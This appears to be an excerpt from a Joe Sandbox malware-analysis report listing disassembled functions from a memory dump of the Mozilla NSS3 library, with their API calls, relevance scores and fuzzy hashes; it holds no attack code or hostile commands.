Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: a29a4f522aeb08bb4aa29b4fe30b64f1ed50e224028b70439f2a4c2171368f6f
Instruction ID: 6a0170be9312623ba9c27cd0951fe9944122e056bf03bcc2cf32ce27baf9e8cf
Opcode Fuzzy Hash: a29a4f522aeb08bb4aa29b4fe30b64f1ed50e224028b70439f2a4c2171368f6f
Instruction Fuzzy Hash: BD61C4B1E162098BEB01CFA5D8007EFBBB2AF85308F284165E815AB751E735DC15CBA0

Function 6CFF8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CFF7313), ref: 6CFF8FBB

Part of subcall function 6CFF07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CF98298,?,?,?,6CF8FCE5,?), ref: 6CFF07BF
Part of subcall function 6CFF07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CFF07E6
Part of subcall function 6CFF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CFF081B
Part of subcall function 6CFF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CFF0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CFF7313), ref: 6CFF9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CFF7313), ref: 6CFF903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CFF7313), ref: 6CFF909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CFF7313), ref: 6CFF90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CFF7313), ref: 6CFF90F1

Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF10F3
Part of subcall function 6CFF10C0: EnterCriticalSection.KERNEL32(?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF110C
Part of subcall function 6CFF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1141
Part of subcall function 6CFF10C0: PR_Unlock.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1182
Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CFF7313), ref: 6CFF906B

Part of subcall function 6D03C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D03C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CFF7313), ref: 6CFF9128

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 1edd5f0caf96a2df9b0f877a2be5d44a8b8dc8d123e92b40b69f7e9da4efc56e
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: D4517E71A002118FEB109F6ADC84B26B3F9EF44318F164069E935D7B71EF72E906CA91

Function 6CFA9C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6CFA8850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CFB0715), ref: 6CFA8859
Part of subcall function 6CFA8850: PR_NewLock.NSS3 ref: 6CFA8874
Part of subcall function 6CFA8850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CFA888D

PR_NewLock.NSS3 ref: 6CFA9CAD

Part of subcall function 6D0598D0: calloc.MOZGLUE(00000001,00000084,6CF80936,00000001,?,6CF8102C), ref: 6D0598E5

Part of subcall function 6CF807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CF1204A), ref: 6CF807AD
Part of subcall function 6CF807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF1204A), ref: 6CF807CD
Part of subcall function 6CF807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF1204A), ref: 6CF807D6
Part of subcall function 6CF807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CF1204A), ref: 6CF807E4
Part of subcall function 6CF807A0: TlsSetValue.KERNEL32(00000000,?,6CF1204A), ref: 6CF80864
Part of subcall function 6CF807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CF80880
Part of subcall function 6CF807A0: TlsSetValue.KERNEL32(00000000,?,?,6CF1204A), ref: 6CF808CB
Part of subcall function 6CF807A0: TlsGetValue.KERNEL32(?,?,6CF1204A), ref: 6CF808D7
Part of subcall function 6CF807A0: TlsGetValue.KERNEL32(?,?,6CF1204A), ref: 6CF808FB

TlsGetValue.KERNEL32 ref: 6CFA9CE8
EnterCriticalSection.KERNEL32(?,?,6CFAECEC,6CFB2FCD,00000000,?,6CFB2FCD,?), ref: 6CFA9D01
TlsGetValue.KERNEL32(?,?,?,6CFAECEC,6CFB2FCD,00000000,?,6CFB2FCD,?), ref: 6CFA9D38
EnterCriticalSection.KERNEL32(?,?,6CFAECEC,6CFB2FCD,00000000,?,6CFB2FCD,?), ref: 6CFA9D4D
PR_Unlock.NSS3 ref: 6CFA9D70
PR_Unlock.NSS3 ref: 6CFA9DC3
PR_NewLock.NSS3 ref: 6CFA9DDD

Part of subcall function 6CFA88D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CFB0725,00000000,00000058), ref: 6CFA8906
Part of subcall function 6CFA88D0: EnterCriticalSection.KERNEL32(?), ref: 6CFA891A
Part of subcall function 6CFA88D0: PL_ArenaAllocate.NSS3(?,?), ref: 6CFA894A
Part of subcall function 6CFA88D0: calloc.MOZGLUE(00000001,6CFB072D,00000000,00000000,00000000,?,6CFB0725,00000000,00000058), ref: 6CFA8959
Part of subcall function 6CFA88D0: memset.VCRUNTIME140(?,00000000,?), ref: 6CFA8993
Part of subcall function 6CFA88D0: PR_Unlock.NSS3(?), ref: 6CFA89AF

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 78bbe1f58f41a80486ab3dfab9c19e53f3418fec2a70c469bbe9c98f55e7cb26
Instruction ID: 17857b7f273e7b859d52aaad9aefd9d24a601c028ff7fb78dbc0789238ee8f8a
Opcode Fuzzy Hash: 78bbe1f58f41a80486ab3dfab9c19e53f3418fec2a70c469bbe9c98f55e7cb26
Instruction Fuzzy Hash: 58513BB5A05705DFDB00AFA8C08476AFBF4BF44348F158929D8989BB10DB71E985CB91

Function 6D0A9EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6D0A9EC0
EnterCriticalSection.KERNEL32(?), ref: 6D0A9EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6D0A9F73
EnterCriticalSection.KERNEL32(?), ref: 6D0A9FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6D0A9FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6D0A9FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6D0AA01D

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 9aa711b34b3c424f04b05a326692338c584a4b09d73ddb6b1e0dcdc11a4960c0
Instruction ID: 5d70866706576a00bf011b95451b72ae600cb10a69508d8b244a7be725bbdaf9
Opcode Fuzzy Hash: 9aa711b34b3c424f04b05a326692338c584a4b09d73ddb6b1e0dcdc11a4960c0
Instruction Fuzzy Hash: A251AEB2804601DBEB20DF65E48476AB7F0FF44318F2A856ADC595B353E732E891CB91

Function 6CFB4E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFB4E90
EnterCriticalSection.KERNEL32 ref: 6CFB4EA9
TlsGetValue.KERNEL32 ref: 6CFB4EC6
EnterCriticalSection.KERNEL32 ref: 6CFB4EDF
PL_HashTableLookup.NSS3 ref: 6CFB4EF8
PR_Unlock.NSS3 ref: 6CFB4F05
PR_Now.NSS3 ref: 6CFB4F13
PR_Unlock.NSS3 ref: 6CFB4F3A

Part of subcall function 6CF807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CF1204A), ref: 6CF807AD
Part of subcall function 6CF807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF1204A), ref: 6CF807CD
Part of subcall function 6CF807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF1204A), ref: 6CF807D6
Part of subcall function 6CF807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CF1204A), ref: 6CF807E4
Part of subcall function 6CF807A0: TlsSetValue.KERNEL32(00000000,?,6CF1204A), ref: 6CF80864
Part of subcall function 6CF807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CF80880
Part of subcall function 6CF807A0: TlsSetValue.KERNEL32(00000000,?,?,6CF1204A), ref: 6CF808CB
Part of subcall function 6CF807A0: TlsGetValue.KERNEL32(?,?,6CF1204A), ref: 6CF808D7
Part of subcall function 6CF807A0: TlsGetValue.KERNEL32(?,?,6CF1204A), ref: 6CF808FB

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: 1555ae011513a13cf3b361c7a76f0110f55e00a6e7f06ceac3da912ac0bd18c6
Instruction ID: be9175f608f68f324fe4ef2597975f4ea20d856b7783bde61ec6fa5b572f8e49
Opcode Fuzzy Hash: 1555ae011513a13cf3b361c7a76f0110f55e00a6e7f06ceac3da912ac0bd18c6
Instruction Fuzzy Hash: 04415AB4904605CFCB00DF79D584A6ABBF4FF49314B068669ED599B311EB30E891CF91

Function 6CF9DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CF9DCFA

Part of subcall function 6D059DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6D0A0A27), ref: 6D059DC6
Part of subcall function 6D059DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6D0A0A27), ref: 6D059DD1
Part of subcall function 6D059DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6D059DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CF9DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CF9DD62
CERT_DestroyCertificate.NSS3(?), ref: 6CF9DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6CF9DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6CF9DD8F

Part of subcall function 6CFB06A0: TlsGetValue.KERNEL32 ref: 6CFB06C2
Part of subcall function 6CFB06A0: EnterCriticalSection.KERNEL32(?), ref: 6CFB06D6
Part of subcall function 6CFB06A0: PR_Unlock.NSS3 ref: 6CFB06EB

CERT_DestroyCertificate.NSS3(?), ref: 6CF9DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6CF9DDB7

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 8953d8ddf62eb258e8317bac0dd3e94f84f6a5768116927cef5135f7adf384c5
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 09216FB6E011159BFF019EA5DC40A9FB7B4AF05218B250025ED18A7721F731E915CBE1

Function 6D025F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6D02AADB,?,?,?,?,?,?,?,?,00000000,?,6D0280C1), ref: 6D025F72

Part of subcall function 6CF8ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CF8ED8F
Part of subcall function 6CF8ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CF8ED9E
Part of subcall function 6CF8ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CF8EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6D02AADB,?,?,?,?,?,?,?,?,00000000,?,6D0280C1), ref: 6D025F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6D02AADB,?,?,?,?,?,?,?,?,00000000,?,6D0280C1), ref: 6D025FCC
free.MOZGLUE(?,?,6D02AADB,?,?,?,?,?,?,?,?,00000000,?,6D0280C1), ref: 6D025FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6D02AADB,?,?,?,?,?,?,?,?,00000000,?,6D0280C1), ref: 6D025FF4
free.MOZGLUE(?,?,6D02AADB,?,?,?,?,?,?,?,?,00000000,?,6D0280C1), ref: 6D025FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6D02AADB,?,?,?,?,?,?,?,?,00000000,?,6D0280C1), ref: 6D026019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6D02AADB,?,?,?,?,?,?,?,?,00000000,?,6D0280C1), ref: 6D026036

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 0262676680a80ed2c4d25004b424eaba9bdd4411293dac95a09bdf115b7c3a5f
Instruction ID: 8d71ef40e0cbb388f1b976665339d08c1cb78140aaeca3999e1622f7d8aeca48
Opcode Fuzzy Hash: 0262676680a80ed2c4d25004b424eaba9bdd4411293dac95a09bdf115b7c3a5f
Instruction Fuzzy Hash: 8321F9B6605B019BEB219F75DC48BE777F8AF46708F040928E46E87640EB36E018CB95

Function 6CF93C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6D00460B,?,?), ref: 6CF93CA9
EnterCriticalSection.KERNEL32(?), ref: 6CF93CB9
PL_HashTableLookup.NSS3(?), ref: 6CF93CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6CF93CD6
PR_Unlock.NSS3 ref: 6CF93CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6CF93CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CF93D03
PR_Unlock.NSS3 ref: 6CF93D15

Part of subcall function 6D03DD70: TlsGetValue.KERNEL32 ref: 6D03DD8C
Part of subcall function 6D03DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D03DDB4

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: ccb69ee48330b144f3d45806114bd042931c9a7f8157f0f8a0955d981ee5b7ae
Instruction ID: 9e3186cafe00c74fc4107a4eb9fd8e6d0527fd25b5d2af228f441c26be8a0586
Opcode Fuzzy Hash: ccb69ee48330b144f3d45806114bd042931c9a7f8157f0f8a0955d981ee5b7ae
Instruction Fuzzy Hash: 2411E9B7C01519ABFF211B34BC05BAA3A78EB4265CB294131ED1C93622F722D968D6D1

Function 6CF99C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CFB11C0: PR_NewLock.NSS3 ref: 6CFB1216

free.MOZGLUE(?), ref: 6CF99E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF99E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF99E4E
TlsGetValue.KERNEL32 ref: 6CF99EA2

Part of subcall function 6CFA9500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6CFA9546

EnterCriticalSection.KERNEL32(?), ref: 6CF99EB6
PR_Unlock.NSS3 ref: 6CF99ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CF99F18

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 69d8ab4fae68ef47d31fc0f457b670b9264cd5d644875e70cb34eb128837cda0
Instruction ID: ee7ff7d39510d0db3263dc65594db4762082e9f475945f631ea5a7ed994d9d88
Opcode Fuzzy Hash: 69d8ab4fae68ef47d31fc0f457b670b9264cd5d644875e70cb34eb128837cda0
Instruction Fuzzy Hash: C381F4B29006019FFB109F74DC41BABB7A9BF44248F154529EC4987B11FF31EA19C7A1

Function 6CFADCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CFAAB10: DeleteCriticalSection.KERNEL32(D958E852,6CFB1397,5B5F5EC0,?,?,6CFAB1EE,2404110F,?,?), ref: 6CFAAB3C
Part of subcall function 6CFAAB10: free.MOZGLUE(D958E836,?,6CFAB1EE,2404110F,?,?), ref: 6CFAAB49
Part of subcall function 6CFAAB10: DeleteCriticalSection.KERNEL32(5D5E6D1A), ref: 6CFAAB5C
Part of subcall function 6CFAAB10: free.MOZGLUE(5D5E6D0E), ref: 6CFAAB63
Part of subcall function 6CFAAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CFAAB6F
Part of subcall function 6CFAAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CFAAB76

TlsGetValue.KERNEL32 ref: 6CFADCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6CFADD0E
PK11_IsFriendly.NSS3(?), ref: 6CFADD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6CFADD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFADE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CFADEA6
PR_Unlock.NSS3(?), ref: 6CFADF08

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: a1adeeae5c3cc747ec802c404f572c8965280bae9215d4e8c8d5bb522293e411
Instruction ID: 058728f316c1ef0404d3ff8422f7acdf9a12b0dfdfb57e474037ace0a92da45b
Opcode Fuzzy Hash: a1adeeae5c3cc747ec802c404f572c8965280bae9215d4e8c8d5bb522293e411
Instruction Fuzzy Hash: B39193B5A00105DFEB00CFA8D881BABF7B5AF58308F158029DD199B751EB31E956CB91

Function 6CF65FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6D04BB62,00000004,6D0B4CA4,?,?,00000000,?,?,6CF231DB), ref: 6CF660AB
sqlite3_config.NSS3(00000004,6D0B4CA4,6D04BB62,00000004,6D0B4CA4,?,?,00000000,?,?,6CF231DB), ref: 6CF660EB
sqlite3_config.NSS3(00000012,6D0B4CC4,?,?,6D04BB62,00000004,6D0B4CA4,?,?,00000000,?,?,6CF231DB), ref: 6CF66122

Strings

misuse, xrefs: 6CF6609F
%s at line %d of [%.10s], xrefs: 6CF660A4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF66095

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: db6d3b6f291ce19dce8320ad1f733240f2f45d83737cff9e8e27bca9ea9998eb
Instruction ID: 9494999d393bde4d5f0c6d8ab39d9aa6e77507d7385c39dff35c3d69aaab6540
Opcode Fuzzy Hash: db6d3b6f291ce19dce8320ad1f733240f2f45d83737cff9e8e27bca9ea9998eb
Instruction Fuzzy Hash: 2AB14074D0464ACFCB04CF6CC280AADBBF0FB1E704B159169E549EB762E731AA84CB55

Function 6CF14F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF14FC4
